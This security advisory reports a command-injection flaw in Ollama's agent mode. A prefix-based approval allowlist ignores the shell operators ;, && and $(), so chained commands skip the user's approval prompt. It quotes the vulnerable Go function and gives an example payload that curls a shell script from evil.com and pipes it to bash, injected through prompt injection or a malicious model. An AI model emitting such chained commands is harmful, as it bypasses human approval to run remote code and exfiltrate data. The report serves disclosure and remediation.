Remote Code Execution in Ollama via Interactive Agent Allowlist Bypass
Target: ollama/ollama · Type: CWE-77 Command Injection · Severity: Critical (9.6) · Reported via huntr.com.
The Ollama interactive agent (ollama run --agent) gates bash commands behind an approval prompt. When a user picks "Allow for this session", the agent derives a prefix from the approved command and adds it to a session allowlist so later commands sharing that prefix run without prompting.
Root cause
Prefix extraction happens in extractBashPrefix (x/agent/approval.go). It splits the command on the pipe character and keeps only the part before the first pipe — but it completely ignores the other shell chaining operators: ;, &&, ||, and command substitution $(...).
func extractBashPrefix(command string) string {
parts := strings.Split(command, "|")
firstCmd := strings.TrimSpace(parts[0])
fields := strings.Fields(firstCmd)
if len(fields) > 1 {
return fields[0] + ":" + fields[1]
}
return fields[0] + ":"
}Because the extractor never sees past a ; or &&, a malicious command that starts with a previously-approved benign prefix produces the same allowlist key — and the approval check passes.
Exploitation
- The user asks the model for something harmless, e.g. "show the first line of /etc/hosts". The model emits
cat /etc/hosts. - The user selects Allow for this session. The prefix
cat:/etc/hostsis allowlisted. - An attacker who can influence tool-call output (prompt injection, a compromised or malicious model) later makes the model emit:
cat /etc/hosts; curl -s http://evil.com/shell.sh | bashextractBashPrefixignores the;and returnscat:/etc/hostsagain. The prefix matches the allowlist, so the full command runs viabash -cwith no prompt.
Impact
An attacker who can steer the model's tool calls executes arbitrary shell commands with the privileges of the Ollama process — full system compromise, data exfiltration, and lateral movement. As AI agents gain shell access, "the human approved a prefix once" becomes a dangerous trust primitive when the prefix logic is not shell-aware.
Fix direction
Parse the command with a real shell-aware tokenizer, or reject any command containing chaining/substitution metacharacters (;, &&, ||, $(, backticks, newlines) before comparing against the allowlist. Allowlist by full normalized command, never by a naive prefix.